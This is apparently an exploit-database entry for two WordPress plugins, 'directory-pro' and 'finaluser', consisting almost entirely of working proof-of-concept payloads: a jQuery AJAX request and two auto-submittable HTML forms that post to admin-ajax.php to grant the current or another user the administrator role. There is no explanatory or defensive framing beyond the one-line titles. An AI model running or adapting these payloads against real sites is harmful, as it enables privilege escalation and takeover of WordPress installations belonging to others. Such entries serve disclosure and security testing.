Share
## https://sploitus.com/exploit?id=WPEX-ID:D079CB16-EAD5-4BC8-B0B8-4A4DC2A54C96
directory-pro (set current logged in user to admin)

jQuery.ajax({
    url: "http://localhost/wp-admin/admin-ajax.php",
    method: 'post',
    data: {
        action: "iv_directories_update_profile_setting",
        form_data: `wp_capabilities[administrator]=1`
    },
    success: function(res){
        console.log(res)
    }
});

<html>
  <body>
    <form action="http://[WP]/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="iv_directories_update_profile_setting" />
      <input type="hidden" name="form_data" value="wp_capabilities[administrator]=1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


finaluser (edit user to set as admin):
<html>
  <body>
    <form action="http://[WP]/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="ep_finaluser_update_user_settings" />
      <input type="hidden" name="form_data" value="user_role=administrator&payment_status=success&exp_date=&ep_status=publish&user_id=2" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>